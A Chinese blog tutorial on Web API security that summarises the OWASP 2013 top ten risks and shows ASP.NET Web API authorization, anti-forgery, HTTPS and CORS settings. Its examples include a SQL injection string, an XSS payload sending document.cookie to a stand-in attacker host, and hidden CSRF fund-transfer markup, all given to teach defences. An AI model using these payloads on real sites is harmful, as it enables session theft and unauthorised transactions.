Web API入门指南有些朋友回复问了些安全方面的问题,安全方面可以写的东西实在太多了,这里尽量围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患、相关的防御技巧以及Web API提供的安全机制。
先引用下wikipedia信息安全的定义:即保护信息免受未经授权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。
机密性和完整性都很好理解,可靠性作为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证可以访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.
围绕Web API安全,在不同的层次上有不同的防护措施。例如,
下图是一个概览。
安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患。
注入是指输入中包含恶意代码(在解释器中会被作为语句执行而非纯文本),直接被传递给给解释器并执行,那么攻击者就可以窃取、修改或者破坏数据。
注入有很多种类型,最常见的如SQL注入、LDAP注入、OS命令注入等。
示例
以下代码是一个典型的SQL注入隐患
1
|
String query = "SELECT * FROM accounts WHERE customerName='" + request.getParameter( "name" ) + "'" ; |
如果输入中customerName后面加上一个' or '1'=’1,可以想象所有的accounts表数据都回被返回。
防御
开发人员经常自己编写认证或session管理模块,但是这种模块需要考虑的因素众多,很难正确完整的实现。所以经常会在登入登出、密码管理、超时设置、安全问题、帐户更新等方面存在安全隐患,给攻击者以可乘之机。
示例
防御
允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。
示例
例如网站通过以下代码直接构造网页输出,
1
|
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter( "CC" ) + "'>" ; |
攻击者输入以下数据,
1
|
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'. |
当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。
防御
这个问题在动态网页中也相当普遍,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。
示例
例如一个网站通过以下代码返回客户信息,
1
2
3
4
|
String query = "SELECT * FROM accts WHERE account = ?" ; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter( "acct" )); ResultSet results = pstmt.executeQuery( ); |
攻击者可以通过修改querystring来查询任何人的信息
防御
安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员需要同系统管理合作来确保合理配置。
示例
配置问题的范例比较多样,常见的几种如下,
防御
这种漏洞就是导致知名网站用户信息泄露的关键,通过明文存储敏感数据。
示例
防御
功能级别权限控制一般是写在代码中或者通过程序的配置文件来完成,但是可惜的是开发者经常忘记添加一些功能的权限控制代码。
示例
例如以下链接本该只有admin才能访问,但如果匿名用户或者非admin用户可以直接在浏览器中访问该链接,说明网站存在功能级权限控制漏洞。
防御
同样是跨站请求,这种与问题3的不同之处在于这个请求是从钓鱼网站上发起的。
示例
例如钓鱼网站上包含了下面的隐藏代码,
1
|
< img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> |
这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。
防御
几乎每个程序都有这个问题,因为大多数人不会关心自己引用的库文件是否存在已知安全漏洞,而且一旦部署成功就不会再有人关心是否有组件需要升级。然而这些组件在服务器中运行,拥有相当高的权限去访问系统中的各种资源,一旦攻击者利用该组件已知漏洞,那么窃取或破坏信息也将不是难事。
示例
以下两个组件都存在已知的安全缺陷从而可以让攻击者获得服务器最高权限,但是在2011年他们被下载了22M次之多,但是其中有多少被更新了,多少还在继续使用呢。
防御
很多网站都经常会需要进行页面跳转,而且有些跳转会根据用户输入来决定,这样就给了攻击者可乘之机,从而可能将用户导向恶意网站或者未授权链接。
示例
下面页面请求根据query string url字段来进行跳转,这样攻击者很容易伪造类似于以下的跳转链接将客户导向到钓鱼网站。
又如未授权用户通过下面链接跳过授权检查直接到admin页面
防御
Web API包含了一套完整的安全机制,而且具备不错的扩展性,这一节我们主要介绍Web API提供的一些基本安全相关的功能。
先给认证和授权下个定义。
什么是认证?简单来说认证就是搞清楚用户是谁。
什么是授权?授权就是搞清楚用户可以做什么。
认证
Web API的认证取决于宿主环境配置的认证方式,比如Web API host在IIS,那么在IIS相应的网站上认证配置抑或自定义的认证模块同样会作用于Web API。
在Web API中检查一个请求是否经过认证,可以通过以下属性来判断,
1
|
Thread.CurrentPrincipal.Identity.IsAuthenticated |
如果程序需要采用自定义的认证方式,需要同时设置以下两个属性,
1
2
3
4
5
6
7
8
|
private void SetPrincipal(IPrincipal principal) { Thread.CurrentPrincipal = principal; if (HttpContext.Current != null ) { HttpContext.Current.User = principal; } } |
授权
授权在我们编写API的时候经常会涉及到,Web API也提供了比较完整的授权检查机制。
如果我们想知道认证的用户信息,可以通过ApiController.User来查看。
1
2
3
4
5
6
7
|
public HttpResponseMessage Get() { if (User.IsInRole( "Administrators" )) { // ... } } |
另外我们可以在不同级别使用AuthorizeAtrribute来控制不同级别的授权访问。
如果我们希望在全局所有的Controller控制授权,只有授权用户可以访问的话,可以通过以下方式,
1
2
3
4
|
public static void Register(HttpConfiguration config) { config.Filters.Add( new AuthorizeAttribute()); } |
如果希望控制在个别Controller级别,
1
2
3
4
5
6
|
[Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get( int id) { ... } public HttpResponseMessage Post() { ... } } |
如果希望控制在个别Action级别,
1
2
3
4
5
6
7
8
|
public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } } |
如果希望允许个别Action匿名访问,
1
2
3
4
5
6
7
8
|
[Authorize] public class ValuesController : ApiController { [AllowAnonymous] public HttpResponseMessage Get() { ... } public HttpResponseMessage Post() { ... } } |
如果希望允许个别用户或者用户组,
1
2
3
4
5
6
7
8
9
10
11
|
// Restrict by user: [Authorize(Users= "Alice,Bob" )] public class ValuesController : ApiController { } // Restrict by role: [Authorize(Roles= "Administrators" )] public class ValuesController : ApiController { } |
再来复习一遍什么是伪造跨站请求攻击
1. 用户成功登录了www.example.com,客户端保存了该网站的cookie,并且没有logout。
2. 用户接下来访问了另外一个恶意网站,包含如下代码
1
2
3
4
5
6
|
< h1 >You Are a Winner!</ h1 > < input type="hidden" name="Transaction" value="withdraw" /> < input type="hidden" name="Amount" value="1000000" /> < input type="submit" value="Click Me"/> </ form > |
3. 用户点击submit按钮,浏览器向example.com发起请求到服务器,执行了攻击者期望的操作。
上面的事例需要用户点击按钮,但网页也可以通过简单的脚本直接在网页加载过程中自动发送各种请求出去。
正如我们之前提到的防御方案所说,ASP.NET MVC中可以通过下面简单的代码可以在页面中添加一个隐藏field,存放一个随机代码,这个随机码会与cookie一起在服务器通过校验。这样其他网站无法得到不同用户的随机代码,也就无法成功执行相应的请求。
1
2
3
|
@ using (Html.BeginForm( "Manage" , "Account" )) { @Html.AntiForgeryToken() } |
1
2
3
4
5
|
< form action="/Home/Test" method="post"> < input name="__RequestVerificationToken" type="hidden" value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> < input type="submit" value="Submit" /> </ form > |
对于没有form的ajax请求,我们无法通过hidden field来自动提交随机码,可以通过以下方式在客户端请求头中嵌入随机码,然后在服务器校验,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
< script > @functions{ public string TokenHeaderValue() { string cookieToken, formToken; AntiForgery.GetTokens(null, out cookieToken, out formToken); return cookieToken + ":" + formToken; } } $.ajax("api/values", { type: "post", contentType: "application/json", data: { }, // JSON data goes here dataType: "json", headers: { 'RequestVerificationToken': '@TokenHeaderValue()' } }); </ script > |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void ValidateRequestHeader(HttpRequestMessage request) { string cookieToken = "" ; string formToken = "" ; IEnumerable tokenHeaders; if (request.Headers.TryGetValues( "RequestVerificationToken" , out tokenHeaders)) { string [] tokens = tokenHeaders.First().Split( ':' ); if (tokens.Length == 2) { cookieToken = tokens[0].Trim(); formToken = tokens[1].Trim(); } } AntiForgery.Validate(cookieToken, formToken); } |
对于需要启用安全链接的地址,例如认证页面,可以通过以下方式定义AuthorizationFilterAttribute,来定义哪些action必须通过https访问。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public class RequireHttpsAttribute : AuthorizationFilterAttribute { public override void OnAuthorization(HttpActionContext actionContext) { if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps) { actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden) { ReasonPhrase = "HTTPS Required" }; } else { base .OnAuthorization(actionContext); } } } |
1
2
3
4
5
|
public class ValuesController : ApiController { [RequireHttps] public HttpResponseMessage Get() { ... } } |
在Visual Studio里面测试的时候可以通过下面的设置来启用SSL链接
IIS中可以通过如下设置来启用SSL链接
1
2
3
4
5
6
7
|
< system.webServer > < security > < access sslFlags="Ssl, SslNegotiateCert" /> <!-- To require a client cert: --> <!-- <access sslFlags="Ssl, SslRequireCert" /> --> </ security > </ system.webServer > |
跨域请求与前面的跨站伪造请求类似,有些情况下我们需要在网页中通过ajax去其他网站上请求资源,但是浏览器一般会阻止显示ajax请求从其他网站收到的回复(注意浏览器其实发送了请求,但只会显示出错),如果我们希望合理的跨域请求可以成功执行并显示成功,我们需要在目标网站上添加逻辑来针对请求域启用跨域请求。
要启用跨域请求首先要从nuget上添加一个Cors库引用,
Install-Package Microsoft.AspNet.WebApi.Cors
然后在WebApiConfig.Register中添加以下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
using System.Web.Http; namespace WebService { public static class WebApiConfig { public static void Register(HttpConfiguration config) { // New code config.EnableCors(); config.Routes.MapHttpRoute( name: "DefaultApi" , routeTemplate: "api/{controller}/{id}" , defaults: new { id = RouteParameter.Optional } ); } } } |
接下来就可以在不同级别使用EnableCors属性来控制启用跨域请求了,
Global级别
1
2
3
4
5
6
7
8
9
|
public static class WebApiConfig { public static void Register(HttpConfiguration config) { var cors = new EnableCorsAttribute( "www.example.com" , "*" , "*" ); config.EnableCors(cors); // ... } } |
Controller级别
1
2
3
4
5
6
7
8
9
10
|
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem( int id) { ... } public HttpResponseMessage Post() { ... } [DisableCors] public HttpResponseMessage PutItem( int id) { ... } } |
Action级别
1
2
3
4
5
6
7
8
9
10
|
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem( int id) { ... } public HttpResponseMessage Post() { ... } public HttpResponseMessage PutItem( int id) { ... } } |
允许跨域请求如何做到的?
浏览器会根据服务器回复的头来检查是否允许该跨域请求,比如浏览器的跨域请求头如下,
1
2
3
4
5
6
7
8
|
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net |
如果服务器允许跨域,会添加一个Access-Control-Allow-Origin头来通知浏览器该请求应该被允许,
1
2
3
4
5
6
7
8
9
|
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17 GET: Test message |
本来还写了一个类似于博客园的投票页面,但是文章太长了,加载起来都费劲,下次一起贴出来。